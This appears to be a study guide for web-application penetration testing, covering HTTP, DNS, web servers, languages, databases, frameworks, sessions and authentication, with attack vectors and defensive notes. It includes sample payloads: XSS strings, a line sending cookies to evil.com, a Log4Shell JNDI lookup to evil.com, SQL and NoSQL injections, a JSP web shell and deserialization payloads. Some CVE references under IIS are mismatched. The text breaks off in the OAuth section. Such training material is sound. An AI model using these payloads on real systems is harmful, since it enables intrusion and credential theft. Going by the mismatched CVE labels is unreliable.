OSCP Study Guide: Introduction to Web Applications
Module: 05 — Introduction to Web Applications
Difficulty: Foundational
Prerequisites: Networking basics, Linux/Windows fundamentals
Table of Contents
- Client-Server Architecture
- HTTP/HTTPS Protocol
- DNS and Web Request Resolution
- Web Server Technologies
- Frontend Technologies
- Backend Technologies
- Databases
- Web Application Frameworks
- Session Management
- Authentication Mechanisms
- Web Application Firewall (WAF)
- REST APIs and SOAP Services
- CORS and Same-Origin Policy
- Web Application Deployment Architectures
- Common Architectural Weaknesses
- OWASP Top 10 Overview
- Web Application Attack Surface Mapping
1. Client-Server Architecture
1.1 Core Concept
- The client-server model is the foundation of all web communication.
- A client initiates requests. A server processes and responds.
- The client is typically a web browser. The server is a web server application.
- Communication happens over a network using standardized protocols.
1.2 Architecture Diagram
graph LR
A[Client Browser] -->|HTTP Request| B[Load Balancer]
B -->|Forward| C[Web Server 1]
B -->|Forward| D[Web Server 2]
C -->|Query| E[(Database)]
D -->|Query| E
C -->|Response| B
D -->|Response| B
B -->|HTTP Response| A
1.3 Key Components
| Component |
Role |
Common Tools |
| Client |
Sends requests, renders responses |
Chrome, Firefox, curl, Burp Suite |
| Web Server |
Receives requests, serves content |
Apache, Nginx, IIS |
| Application Server |
Runs business logic |
Tomcat, Node.js, Django |
| Database Server |
Stores and retrieves data |
MySQL, PostgreSQL, MongoDB |
| Load Balancer |
Distributes traffic |
HAProxy, Nginx, AWS ELB |
1.4 How Attackers Exploit It
- Direct server access: Bypass load balancers to hit backend servers directly.
- Server misconfiguration: Exploit default credentials or exposed admin panels.
- Man-in-the-middle: Intercept unencrypted traffic between client and server.
- Resource exhaustion: Flood servers with requests (DoS/DDoS).
1.5 Defensive Considerations
- Place sensitive services behind firewalls.
- Use reverse proxies to hide backend infrastructure.
- Implement rate limiting and DDoS protection.
- Disable default accounts and remove unnecessary services.
2. HTTP/HTTPS Protocol
2.1 Protocol Overview
- HTTP (Hypertext Transfer Protocol): Stateless request-response protocol on port 80.
- HTTPS: HTTP over TLS/SSL encryption on port 443.
- HTTP/1.1 uses plaintext. HTTPS encrypts the entire communication channel.
- HTTP/2 and HTTP/3 introduce multiplexing and improved performance.
2.2 HTTP Request Structure
GET /index.html HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html
Cookie: sessionid=abc123
2.3 HTTP Response Structure
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 1234
Set-Cookie: sessionid=xyz789; HttpOnly; Secure
Server: Apache/2.4.41
<html>...</html>
2.4 HTTP Methods
| Method |
Purpose |
Idempotent |
Safe |
Attack Relevance |
| GET |
Retrieve resource |
Yes |
Yes |
Parameter injection, path traversal |
| POST |
Submit data |
No |
No |
CSRF, command injection, file upload |
| PUT |
Update resource |
Yes |
No |
Unauthorized file overwrite |
| DELETE |
Remove resource |
Yes |
No |
Unauthorized data deletion |
| PATCH |
Partial update |
No |
No |
Partial data manipulation |
| HEAD |
Headers only |
Yes |
Yes |
Server fingerprinting |
| OPTIONS |
Allowed methods |
Yes |
Yes |
CORS misconfiguration probing |
| TRACE |
Echo request |
Yes |
Yes |
Cross-site tracing (XST) attacks |
| CONNECT |
Tunnel proxy |
No |
No |
Proxy abuse, tunneling attacks |
2.5 HTTP Status Codes
| Code |
Meaning |
Attack Relevance |
| 200 |
OK |
Normal response |
| 201 |
Created |
POST/PUT success confirmation |
| 301 |
Moved Permanently |
Redirect chaining attacks |
| 302 |
Found (Temporary) |
Open redirect vulnerabilities |
| 304 |
Not Modified |
Cache poisoning potential |
| 400 |
Bad Request |
Error-based information leakage |
| 401 |
Unauthorized |
Authentication bypass testing |
| 403 |
Forbidden |
Authorization testing |
| 404 |
Not Found |
Directory/file enumeration |
| 405 |
Method Not Allowed |
Hidden method discovery |
| 408 |
Request Timeout |
DoS timing attacks |
| 413 |
Payload Too Large |
File upload size bypass |
| 429 |
Too Many Requests |
Rate limit testing |
| 500 |
Internal Server Error |
Error-based SQLi, stack traces |
| 502 |
Bad Gateway |
Backend service probing |
| 503 |
Service Unavailable |
DoS confirmation |
| Header |
Purpose |
Security Relevance |
| Host |
Target hostname |
Host header injection |
| User-Agent |
Client identification |
Fingerprinting, evasion |
| Referer |
Source page |
Information leakage |
| Cookie |
Session data |
Session hijacking |
| Authorization |
Credentials |
Token theft, replay attacks |
| Content-Type |
Body format |
MIME confusion attacks |
| X-Forwarded-For |
Client IP |
IP spoofing, WAF bypass |
| X-Frame-Options |
Clickjacking protection |
Missing = clickjacking risk |
| Content-Security-Policy |
Resource loading policy |
Missing = XSS risk |
| Strict-Transport-Security |
Force HTTPS |
Missing = downgrade attacks |
2.7 How Attackers Exploit HTTP
- Header injection: Inject malicious values into HTTP headers.
- Method manipulation: Use non-standard methods to bypass filters.
- Response splitting: Inject CRLF to split HTTP responses.
- Cache poisoning: Manipulate cached responses for other users.
- Parameter tampering: Modify hidden form fields or URL parameters.
2.8 Defensive Considerations
- Enforce HTTPS with HSTS headers.
- Implement strict Content-Security-Policy.
- Validate and sanitize all input headers.
- Use secure cookie flags (HttpOnly, Secure, SameSite).
- Disable unnecessary HTTP methods.
3. DNS and Web Request Resolution
3.1 DNS Resolution Flow
sequenceDiagram
participant C as Client
participant R as Recursive DNS
participant T as TLD Server
participant A as Authoritative DNS
participant W as Web Server
C->>R: Query: www.example.com?
R->>T: Query: .com NS?
T-->>R: NS for .com
R->>A: Query: www.example.com A?
A-->>R: A Record: 93.184.216.34
R-->>C: Response: 93.184.216.34
C->>W: HTTP Request to 93.184.216.34
W-->>C: HTTP Response
3.2 DNS Record Types
| Record Type |
Purpose |
Example |
Attack Relevance |
| A |
IPv4 address |
93.184.216.34 |
DNS spoofing, cache poisoning |
| AAAA |
IPv6 address |
2606:2800:220:1:248:1893:25c8:1946 |
Same as A record |
| CNAME |
Alias |
www -> example.com |
Subdomain takeover |
| MX |
Mail server |
mail.example.com |
Email interception |
| TXT |
Text records |
SPF, DKIM records |
SPF/DKIM bypass |
| NS |
Name servers |
ns1.example.com |
DNS hijacking |
| SRV |
Service location |
_sip._tcp.example.com |
Service discovery abuse |
| PTR |
Reverse DNS |
34.216.184.93.in-addr.arpa |
Reverse lookup spoofing |
3.3 How Attackers Exploit DNS
- DNS spoofing/poisoning: Redirect victims to attacker-controlled servers.
- DNS tunneling: Exfiltrate data through DNS queries.
- Subdomain takeover: Claim abandoned subdomains with dangling CNAMEs.
- DNS zone transfer: Enumerate all internal hosts via AXFR requests.
- Fast flux DNS: Rapidly change IP addresses to hide malicious infrastructure.
3.4 Defensive Considerations
- Use DNSSEC to sign DNS records.
- Restrict zone transfers to authorized servers only.
- Monitor for unusual DNS query patterns.
- Implement DNS filtering and threat intelligence feeds.
- Regularly audit subdomain ownership and CNAME targets.
4. Web Server Technologies
4.1 Apache HTTP Server
| Attribute |
Details |
| Developer |
Apache Software Foundation |
| Default Port |
80 (HTTP), 443 (HTTPS) |
| Config File |
/etc/apache2/apache2.conf, /etc/httpd/conf/httpd.conf |
| Virtual Hosts |
/etc/apache2/sites-available/ |
| Log Files |
/var/log/apache2/access.log, error.log |
| Modules |
mod_php, mod_ssl, mod_rewrite, mod_proxy |
| Process Model |
prefork, worker, event (MPM) |
Common Attack Vectors:
.htaccess misconfiguration allows directory traversal.
mod_cgi enables command injection via CGI scripts.
mod_proxy misconfiguration leads to SSRF.
- Server-status and server-info pages leak information.
- Apache Struts, Solr, and Tomcat have frequent RCE vulnerabilities.
Key Directories to Enumerate:
/server-status
/server-info
/.htaccess
/.htpasswd
/icons/
/manual/
4.2 Nginx
| Attribute |
Details |
| Developer |
Nginx, Inc. |
| Default Port |
80 (HTTP), 443 (HTTPS) |
| Config File |
/etc/nginx/nginx.conf |
| Site Configs |
/etc/nginx/sites-enabled/ |
| Log Files |
/var/log/nginx/access.log, error.log |
| Architecture |
Event-driven, asynchronous |
Common Attack Vectors:
- Misconfigured
proxy_pass leads to SSRF.
autoindex on exposes directory listings.
- Default welcome page reveals version information.
- Nginx parser bugs (e.g., HTTP/2 rapid reset DoS).
- Incorrect
try_files configuration causes path traversal.
Key Directories to Enumerate:
/nginx_status
/.well-known/
4.3 Microsoft IIS
| Attribute |
Details |
| Developer |
Microsoft |
| Default Port |
80 (HTTP), 443 (HTTPS) |
| Config File |
%windir%\System32\inetsrv\config\applicationHost.config |
| Log Files |
%SystemDrive%\inetpub\logs\LogFiles\ |
| Default Root |
C:\inetpub\wwwroot\ |
| Web Platform |
ASP.NET, ASP Classic |
Common Attack Vectors:
- WebDAV enabled allows file upload and execution.
- ASP.NET ViewState deserialization vulnerabilities.
- IIS PUT method enabled allows arbitrary file upload.
- Default pages reveal version and configuration details.
- CVE-2017-7269 (IIS Short Name brute-force).
- CVE-2021-41773).
- .NET DLL hijacking in IIS worker processes.
Key Directories to Enumerate:
/web.config
/iisstart.htm
/iis-85.png
/aspnet_client/
/microsoft-server-activesync/
4.4 Server Comparison
| Feature |
Apache |
Nginx |
IIS |
| Architecture |
Process/thread-based |
Event-driven |
Event-driven |
| Config Style |
Declarative (.htaccess) |
Centralized |
GUI + XML |
| Best For |
Dynamic content, modularity |
Static content, reverse proxy |
Windows/ASP.NET ecosystems |
| Default File |
index.html |
index.html |
default.htm, iisstart.htm |
| Vulnerability Surface |
High (many modules) |
Medium |
High (Windows integration) |
4.5 Defensive Considerations
- Keep server software updated with security patches.
- Disable server version disclosure in headers.
- Remove or restrict access to default pages and directories.
- Implement least-privilege file system permissions.
- Use security headers (X-Content-Type-Options, X-Frame-Options).
5. Frontend Technologies
5.1 HTML (HyperText Markup Language)
| Aspect |
Details |
| Purpose |
Structure and content of web pages |
| Key Elements |
<div>, <form>, <script>, <iframe>, <img>, <a> |
| Attack Surface |
Script injection, form manipulation, iframe abuse |
Attack-Relevant HTML Elements:
| Element |
Attack Vector |
Example |
<script> |
XSS injection |
<script>alert(document.cookie)</script> |
<img> |
XSS via event handlers |
<img src=x onerror=alert(1)> |
<iframe> |
Clickjacking, XSS |
<iframe src="evil.com"></iframe> |
<form> |
CSRF, data exfiltration |
<form action="transfer" method="POST"> |
<a> |
Open redirect, phishing |
<a href="javascript:alert(1)"> |
<svg> |
XSS via SVG elements |
<svg onload=alert(1)> |
<object> |
Arbitrary code execution |
<object data="evil.swf"> |
<embed> |
Plugin exploitation |
<embed src="evil.swf"> |
<link> |
CSS injection, resource loading |
<link rel=stylesheet href=evil.css> |
<meta> |
Redirect, auto-submit |
<meta http-equiv=refresh content="0;url=evil"> |
5.2 CSS (Cascading Style Sheets)
| Aspect |
Details |
| Purpose |
Visual presentation and layout |
| Attack Surface |
CSS injection, data exfiltration, clickjacking |
CSS Attack Techniques:
| Technique |
Description |
| CSS Injection |
Inject malicious styles to alter page appearance |
| Data Exfiltration |
Use background-image to steal data via URL parameters |
| Clickjacking |
Use transparent overlays to trick user clicks |
| CSS Profiling |
Extract hidden content via :checked, :valid selectors |
| Style-Based Phishing |
Clone legitimate site styling for phishing |
5.3 JavaScript
| Aspect |
Details |
| Purpose |
Client-side interactivity and logic |
| Attack Surface |
XSS, prototype pollution, DOM manipulation |
Critical JavaScript APIs for Attackers:
| API |
Attack Use |
document.cookie |
Steal session cookies via XSS |
fetch() / XMLHttpRequest |
Exfiltrate data, make unauthorized API calls |
eval() |
Execute injected code |
innerHTML |
Inject HTML leading to DOM-based XSS |
document.write() |
Overwrite page content |
window.location |
Redirect victims to malicious sites |
localStorage / sessionStorage |
Steal stored sensitive data |
navigator.clipboard |
Steal clipboard contents |
WebSocket |
Establish persistent exfiltration channels |
JavaScript Injection Patterns:
// Basic XSS
<script>alert(1)</script>
// Event handler injection
<img src=x onerror=alert(1)>
// DOM-based XSS
document.location = 'http://evil.com/?c=' + document.cookie
// Prototype pollution
Object.prototype.isAdmin = true
// Template literal injection
`<div>${userInput}</div>` // userInput = '</div><script>alert(1)</script><div id="x">'
5.4 Defensive Considerations
- Implement Content-Security-Policy (CSP) headers.
- Use output encoding/escaping for all dynamic content.
- Sanitize user input before rendering in the DOM.
- Use
textContent instead of innerHTML when possible.
- Set
HttpOnly and Secure flags on cookies.
- Implement X-Frame-Options to prevent clickjacking.
6. Backend Technologies
6.1 Technology Comparison
| Technology |
Language |
Runtime |
Default Port |
Common Frameworks |
| PHP |
PHP |
PHP-FPM, mod_php |
80, 9000 |
Laravel, Symfony, WordPress |
| Python |
Python |
Gunicorn, uWSGI |
8000, 5000 |
Django, Flask, FastAPI |
| Ruby |
Ruby |
Puma, Unicorn |
3000 |
Ruby on Rails, Sinatra |
| Java |
Java |
JVM, Tomcat |
8080, 8443 |
Spring, Struts, Play |
| Node.js |
JavaScript |
Node.js |
3000, 8080 |
Express, NestJS, Koa |
6.2 PHP
| Aspect |
Details |
| Execution |
Server-side scripting, embedded in HTML |
| Config |
php.ini |
| Common Files |
index.php, config.php, wp-config.php |
| Extensions |
.php, .php5, .phtml, .ctp |
PHP-Specific Attack Vectors:
| Vulnerability |
Description |
Example |
| File Inclusion (LFI/RFI) |
Include arbitrary files via include() |
?page=../../../etc/passwd |
| Command Injection |
Execute OS commands via system() |
?cmd=;cat /etc/passwd |
| Deserialization |
Object injection via unserialize() |
PHP object injection gadgets |
| Remote Code Execution |
Code execution via eval() |
?code=system('id') |
| PHP Info Disclosure |
phpinfo() exposes configuration |
/phpinfo.php |
| Upload Bypass |
Upload PHP web shells |
GIF89a; |
| Magic Quotes Bypass |
Escape character manipulation |
' OR 1=1-- |
Critical PHP Functions:
system($cmd); // Execute OS command
exec($cmd); // Execute OS command
eval($code); // Execute PHP code
include($file); // Include file
unserialize($data); // Deserialize object
file_get_contents(); // Read file content
6.3 Python
| Aspect |
Details |
| Execution |
Interpreted, server-side |
| Common Servers |
Gunicorn, uWSGI, mod_wsgi |
| Package Manager |
pip |
| Virtual Env |
venv, virtualenv |
Python-Specific Attack Vectors:
| Vulnerability |
Description |
Example |
| Pickle Deserialization |
Arbitrary code execution via pickle.loads() |
Malicious pickle payload |
| Template Injection |
SSTI via Jinja2 templates |
{{ config }}, {{ ''.__class__.__mro__ }} |
| Command Injection |
OS command execution via os.system() |
os.system(f"ls {user_input}") |
| SQL Injection |
Unparameterized queries |
f"SELECT * FROM users WHERE id={id}" |
| Path Traversal |
Directory traversal via file operations |
open("../../etc/passwd") |
| YAML Deserialization |
Code execution via yaml.load() |
!!python/object/apply:os.system ["id"] |
Critical Python Functions:
import os
os.system(cmd) # Execute OS command
os.popen(cmd).read() # Execute and capture output
eval(expression) # Evaluate Python expression
exec(code) # Execute Python code
pickle.loads(data) # Deserialize pickle object
yaml.load(data) # Parse YAML (unsafe)
6.4 Ruby
| Aspect |
Details |
| Execution |
Interpreted, server-side |
| Common Servers |
Puma, Unicorn, Passenger |
| Package Manager |
gem |
| Framework |
Ruby on Rails (convention over configuration) |
Ruby-Specific Attack Vectors:
| Vulnerability |
Description |
Example |
| YAML Deserialization |
RCE via YAML.load() |
!ruby/object:ERB "id".src |
| Marshal Deserialization |
Object injection via Marshal.load() |
Ruby gadget chains |
| Mass Assignment |
Override protected attributes |
admin=true in params |
| SQL Injection |
Unescaped string interpolation |
"WHERE id=#{id}" |
| File Read |
Arbitrary file read via Rails |
GET /rails/info/properties |
| Regex DoS |
ReDoS via crafted input |
(a+)+$ with long input |
6.5 Java
| Aspect |
Details |
| Execution |
Compiled to bytecode, runs on JVM |
| Common Servers |
Apache Tomcat, Jetty, JBoss, WebLogic |
| Package Manager |
Maven, Gradle |
| File Extensions |
.java, .class, .war, .jar |
Java-Specific Attack Vectors:
| Vulnerability |
Description |
Example |
| Deserialization |
RCE via ObjectInputStream |
CommonsCollections gadgets |
| JSP Injection |
Upload/execute JSP web shells |
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %> |
| Struts RCE |
OGNL injection in Apache Struts |
%{#context['com.opensymphony.xwork2...']} |
| Log4Shell |
Log4j JNDI injection |
${jndi:ldap://evil.com/a} |
| Spring Actuator |
Exposed Endpoints |
Info disclosure, RCE |
| XML External Entity (XXE) |
File read, SSRF via XML parser |
<!ENTITY xxe SYSTEM "file:///etc/passwd"> |
Critical Java Classes:
Runtime.getRuntime().exec(cmd); // Execute OS command
ProcessBuilder pb = new ProcessBuilder(cmd); // Execute command
ObjectInputStream ois = new ObjectInputStream(is); // Deserialize
Class.forName(className).newInstance(); // Dynamic class loading
javax.naming.InitialContext.lookup(url); // JNDI lookup (Log4Shell)
6.6 Node.js
| Aspect |
Details |
| Execution |
JavaScript runtime, event-driven |
| Package Manager |
npm, yarn |
| Common Frameworks |
Express, NestJS, Koa, Fastify |
| Config File |
package.json |
Node.js-Specific Attack Vectors:
| Vulnerability |
Description |
Example |
| Prototype Pollution |
Modify Object.prototype |
__proto__.isAdmin=true |
| Server-Side Template Injection |
SSTI via EJS, Handlebars |
{{constructor.constructor('return this')()}} |
| Command Injection |
Child process execution |
child_process.exec(userInput) |
| NoSQL Injection |
Bypass MongoDB queries |
{username: "$ne": null} |
| Path Traversal |
Directory traversal |
../ in file paths |
| Dependency Confusion |
Malicious npm packages |
Private package name squatting |
| Event Stream Hijack |
Compromised dependencies |
Malicious post-install scripts |
Critical Node.js Functions:
const { exec } = require('child_process');
exec(userInput, (err, stdout) => {}); // Command injection risk
const fs = require('fs');
fs.readFileSync(userPath); // Path traversal risk
eval(userInput); // Code injection risk
new Function(userInput)(); // Code injection risk
6.7 Defensive Considerations
- Use parameterized queries for all database operations.
- Validate and sanitize all user inputs server-side.
- Keep all dependencies and frameworks updated.
- Implement proper error handling (no stack traces in production).
- Use security-focused linters and static analysis tools.
- Apply the principle of least privilege to application accounts.
7. Databases
7.1 Database Comparison
| Database |
Type |
Default Port |
Config File |
Auth Mechanism |
| MySQL |
Relational (RDBMS) |
3306 |
/etc/mysql/my.cnf |
Username/password |
| PostgreSQL |
Relational (RDBMS) |
5432 |
/etc/postgresql/pg_hba.conf |
Username/password, cert |
| MongoDB |
Document (NoSQL) |
27017 |
/etc/mongod.conf |
Username/password, SCRAM |
| SQLite |
Relational (file-based) |
N/A (file) |
N/A |
File permissions |
| MariaDB |
Relational (RDBMS) |
3306 |
/etc/mysql/my.cnf |
Username/password |
| Oracle |
Relational (RDBMS) |
1521 |
sqlnet.ora |
Username/password, LDAP |
| Redis |
Key-value (in-memory) |
6379 |
/etc/redis/redis.conf |
Optional password |
| MSSQL |
Relational (RDBMS) |
1433 |
N/A (Windows) |
Windows/SQL Auth |
7.2 MySQL
| Aspect |
Details |
| Default User |
root (often no password in labs) |
| Common DBs |
mysql, information_schema, performance_schema |
| Config |
/etc/mysql/my.cnf, /etc/my.cnf |
| Log |
/var/log/mysql/error.log |
MySQL Attack Vectors:
| Technique |
Description |
Payload Example |
| Boolean-based Blind SQLi |
Infer data via true/false responses |
1' OR '1'='1 |
| Time-based Blind SQLi |
Infer data via response delays |
1' AND SLEEP(5)-- |
| Union-based SQLi |
Extract data via UNION SELECT |
1' UNION SELECT 1,2,3-- |
| Error-based SQLi |
Extract data via error messages |
1' AND EXTRACTVALUE(1,CONCAT(0x7a,version()))-- |
| File Read |
Read files via INTO OUTFILE |
UNION SELECT 'content' INTO OUTFILE '/tmp/test' |
| UDF RCE |
Execute commands via user-defined functions |
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.so' |
MySQL Information Schema Tables:
SELECT table_name FROM information_schema.tables WHERE table_schema=database();
SELECT column_name FROM information_schema.columns WHERE table_name='users';
SELECT user, password FROM mysql.user;
7.3 PostgreSQL
| Aspect |
Details |
| Default User |
postgres |
| Auth Config |
pg_hba.conf (trust, md5, scram-sha-256) |
| Common DBs |
postgres, template0, template1 |
PostgreSQL Attack Vectors:
| Technique |
Description |
Payload Example |
| SQL Injection |
Standard SQLi techniques |
1' OR '1'='1 |
| pg_hba.conf Trust |
Connect without authentication |
psql -h target -U postgres |
| COPY FROM PROGRAM |
Execute OS commands |
COPY (SELECT from pg_catalog.pg_ls_dir('.')) TO PROGRAM 'id' |
| Extension Abuse |
Load malicious extensions |
CREATE EXTENSION malicious_ext |
| Data Directory Access |
Read database files directly |
Access pg_data directory |
7.4 MongoDB
| Aspect |
Details |
| Default Port |
27017 |
| Auth |
Disabled by default in older versions |
| Data Format |
BSON (Binary JSON) |
| Shell |
mongo, mongosh |
MongoDB Attack Vectors:
| Technique |
Description |
Payload Example |
| NoSQL Injection |
Bypass auth via operators |
{username: {$ne: null}, password: {$ne: null}} |
| Unauthenticated Access |
Connect without credentials |
mongo --host target |
| MapReduce Injection |
Execute JavaScript on server |
db.collection.mapReduce(map, reduce, {out:"inline"}) |
| Server-Side Code Execution |
Execute JS via $where |
{ $where: "function() { return java.lang.Runtime.getRuntime().exec('id') }" } |
| Database Enumeration |
List all databases and collections |
show dbs, show collections |
NoSQL Injection Examples:
// Authentication bypass
{"username": {"$ne": null}, "password": {"$ne": null}}
// Extract data via comparison
{"username": "admin", "password": {"$gt": ""}}
// Command injection via $where
{"$where": "this.password === 'test' || (new Function('return require(\"child_process\").execSync(\"id\").toString()'))()"}
7.5 SQLite
| Aspect |
Details |
| Storage |
Single file (.db, .sqlite, .sqlite3) |
| No Server |
Embedded in the application |
| Common Locations |
/var/www/, /opt/, application directories |
SQLite Attack Vectors:
| Technique |
Description |
| Database File Access |
Directly read .db files for credentials |
| SQL Injection |
Same techniques as MySQL |
| Attachment Database |
Attach external databases |
| Write Arbitrary Files |
Use backup or attach to write files |
7.6 Defensive Considerations
- Never use default credentials. Change root/postgres passwords immediately.
- Restrict database access to application server IPs only.
- Use parameterized queries to prevent SQL injection.
- Apply principle of least privilege to database accounts.
- Enable audit logging for sensitive operations.
- Encrypt sensitive data at rest and in transit.
- Keep database software updated with security patches.
8. Web Application Frameworks
8.1 Framework Comparison
| Framework |
Language |
Default Port |
Key Features |
Common Vulnerabilities |
| Django |
Python |
8000 |
ORM, admin panel, MTV pattern |
SQLi (raw queries), SSRF, path traversal |
| Flask |
Python |
5000 |
Micro-framework, flexible |
Debug mode RCE, missing security defaults |
| Ruby on Rails |
Ruby |
3000 |
Convention over config, ActiveRecord |
Mass assignment, deserialization, CSRF |
| Express |
Node.js |
3000 |
Minimal, middleware-based |
Missing middleware, prototype pollution |
| Spring Boot |
Java |
8080 |
Auto-config, embedded server |
Actuator exposure, deserialization |
| Laravel |
PHP |
8000 |
Elegant syntax, Eloquent ORM |
Debug mode info leak, mass assignment |
| ASP.NET MVC |
C# |
80 |
Microsoft ecosystem, Razor |
ViewState deserialization, CSRF |
8.2 Django (Python)
| Aspect |
Details |
| Admin Panel |
/admin/ (default, often exposed) |
| Debug Mode |
settings.DEBUG = True (NEVER in production) |
| ORM |
Built-in, protects against SQLi if used correctly |
| Templates |
Django Template Language (DTL) |
Django-Specific Attack Vectors:
| Vulnerability |
Description |
| Debug Mode Exposure |
Stack traces, settings, database info leaked |
| Admin Panel Access |
Default admin credentials, brute-force |
| SSTI |
Server-side template injection via user input |
| Path Traversal |
Static/media file path traversal |
| SSRF |
Requests library used without validation |
| SQL Injection |
Raw SQL queries bypass ORM protection |
Django Enumeration Targets:
/admin/
/admin/login/
/static/
/media/
/debug/
/.env
/manage.py
8.3 Ruby on Rails
| Aspect |
Details |
| Convention |
Convention over configuration |
| ORM |
ActiveRecord |
| Default Routes |
config/routes.rb |
| Secret Key |
config/secrets.yml, config/master.key |
Rails-Specific Attack Vectors:
| Vulnerability |
Description |
| Mass Assignment |
Override attributes via params |
| Deserialization |
YAML/Marshal deserialization RCE |
| Path Traversal |
Sprockets file read vulnerabilities |
| Secret Key Exposure |
master.key in repository |
| CSRF Token Bypass |
Missing or predictable CSRF tokens |
| Regex DoS |
ReDoS in route matching |
Rails Enumeration Targets:
/rails/info
/rails/health
/rails/assets/
/public/
/.env
/config/master.key
8.4 Express (Node.js)
| Aspect |
Details |
| Nature |
Minimalist, no built-in features |
| Middleware |
Body parsing, session, static files |
| Templating |
EJS, Pug, Handlebars |
| Package Manager |
npm |
Express-Specific Attack Vectors:
| Vulnerability |
Description |
| Missing Middleware |
No body-parser, no helmet |
| Prototype Pollution |
Via lodash, minimist, etc. |
| SSTI |
EJS/Handlebars template injection |
| Command Injection |
child_process without sanitization |
| Path Traversal |
express.static misconfiguration |
| Dependency Vulnerabilities |
Known CVEs in npm packages |
8.5 Spring Boot (Java)
| Aspect |
Details |
| Actuator |
/actuator/ endpoints (health, env, beans) |
| Auto-Config |
Automatic configuration based on dependencies |
| Embedded Server |
Tomcat, Jetty, Undertow |
| Security |
Spring Security module |
Spring-Specific Attack Vectors:
| Vulnerability |
Description |
| Actuator Exposure |
/actuator/env, /actuator/heapdump |
| SpEL Injection |
Spring Expression Language injection |
| Deserialization |
Jackson, XML deserialization gadgets |
| Log4Shell |
Log4j2 JNDI injection (CVE-2021-44228) |
| Path Traversal |
Static resource path traversal |
| CORS Misconfiguration |
Permissive CORS allowing cross-origin access |
Spring Actuator Endpoints:
/actuator/ - List all endpoints
/actuator/health - Application health
/actuator/env - Environment variables (DANGER)
/actuator/beans - Spring bean registry
/actuator/heapdump - JVM heap dump
/actuator/mappings - URL mappings
/actuator/threaddump - Thread dump
8.6 Defensive Considerations
- Disable debug mode in production environments.
- Keep framework versions updated.
- Use framework-built-in security features (CSRF tokens, CSRF protection).
- Restrict access to admin panels and actuator endpoints.
- Implement proper input validation and output encoding.
- Use security middleware (helmet for Express, Django middleware).
9. Session Management
9.1 Session Flow
sequenceDiagram
participant C as Client
participant S as Server
participant DB as Session Store
C->>S: Login Request (username + password)
S->>S: Validate credentials
S->>DB: Create session record
DB-->>S: Session ID
S-->>C: Set-Cookie: sessionid=abc123
Note over C,DB: Subsequent requests
C->>S: Request + Cookie: sessionid=abc123
S->>DB: Lookup session abc123
DB-->>S: User data
S-->>C: Authorized response
9.2 Session Mechanisms Comparison
| Mechanism |
Storage |
State |
Security |
Use Case |
| Cookies |
Client-side |
Stateless server |
Low (if not secured) |
Preferences, tracking |
| Sessions |
Server-side |
Stateful server |
High |
Authentication state |
| JWT Tokens |
Client-side |
Stateless server |
Medium (if signed) |
APIs, microservices |
| API Keys |
Client-side |
Stateless server |
Medium |
Service-to-service auth |
| OAuth Tokens |
Client-side |
Stateless server |
High |
Third-party authorization |
9.3 Cookies
| Attribute |
Purpose |
Secure Value |
| HttpOnly |
Prevent JavaScript access |
true |
| Secure |
Send only over HTTPS |
true |
| SameSite |
CSRF protection |
Strict or Lax |
| Domain |
Cookie scope |
Specific domain |
| Path |
URL path scope |
/ or specific path |
| Expires/Max-Age |
Cookie lifetime |
Reasonable duration |
Cookie Attack Vectors:
| Attack |
Description |
Prevention |
| Session Hijacking |
Steal session cookie |
Secure, HttpOnly flags |
| Session Fixation |
Force known session ID |
Regenerate ID on login |
| Cookie Theft (XSS) |
Read cookie via JavaScript |
HttpOnly flag |
| Cookie Manipulation |
Modify cookie values |
Server-side validation |
| CSRF |
Forge requests with valid cookie |
SameSite, CSRF tokens |
9.4 JWT (JSON Web Tokens)
| Component |
Description |
| Header |
Algorithm and token type |
| Payload |
Claims (user data, expiration) |
| Signature |
HMAC or RSA signature |
JWT Structure:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. <- Header (base64)
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ. <- Payload (base64)
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c <- Signature
JWT Attack Vectors:
| Attack |
Description |
| Algorithm Confusion |
Change alg to “none” or switch RS256 to HS256 |
| Secret Key Weakness |
Brute-force weak HMAC secrets |
| Token Expiration |
Missing or overly long expiration |
| Signature Bypass |
Remove signature entirely (alg: none) |
| Claim Manipulation |
Modify payload and re-sign with stolen key |
| JWT Header Injection |
Inject claims via header parameters |
JWT Attack Examples:
// Algorithm none attack
{"alg": "none", "typ": "JWT"}
// Algorithm confusion (RS256 -> HS256)
{"alg": "HS256", "typ": "JWT"}
// Sign with the public key as HMAC secret
// Modified claims
{"sub": "admin", "role": "administrator", "iat": 1516239022}
9.5 Defensive Considerations
- Use secure cookie flags (HttpOnly, Secure, SameSite).
- Regenerate session IDs after authentication.
- Implement session timeout and absolute expiration.
- Store sessions server-side when possible.
- Validate JWT signatures server-side.
- Use strong, random secrets for JWT signing.
- Implement proper token revocation mechanisms.
10. Authentication Mechanisms
10.1 Authentication Methods
| Method |
Description |
Security Level |
Attack Surface |
| Form-Based |
Username/password via HTML form |
Low-Medium |
Brute-force, credential stuffing |
| HTTP Basic |
Base64 encoded credentials in header |
Low |
Credential interception |
| HTTP Digest |
Challenge-response with MD5 |
Medium |
Replay attacks |
| OAuth 2.0 |
Authorization framework |
High |
Misconfigured redirects, token theft |
| OpenID Connect |
Identity layer on OAuth 2.0 |
High |
Same as OAuth + ID token issues |
| JWT Bearer |
Token-based authentication |
Medium-High |
Token theft, algorithm attacks |
| SAML |
XML-based SSO protocol |
High |
XML attacks, assertion manipulation |
| Kerberos |
Network authentication protocol |
High |
Ticket theft, golden ticket |
| Multi-Factor (MFA) |
Multiple authentication factors |
High |
Phishing, SIM swapping |
Attack Vectors:
| Attack |
Description |
| Brute Force |
Try many password combinations |
| Credential Stuffing |
Use leaked credentials from other breaches |
| Username Enumeration |
Different error messages for valid/invalid users |
| Password Reset Abuse |
Intercept or predict reset tokens |
| Account Lockout Bypass |
Manipulate lockout counters |
| Session Fixation |
Set session before authentication |
Defensive Measures:
- Implement account lockout after failed attempts.
- Use rate limiting on login endpoints.
- Return generic error messages (“Invalid username or password”).
- Implement CAPTCHA after failed attempts.
- Use strong password policies.
10.3 OAuth 2.0
graph LR
A[Client App] -->|1. Auth Request| B[Authorization Server]
B -->|2. User Consent| C[Resource Owner]
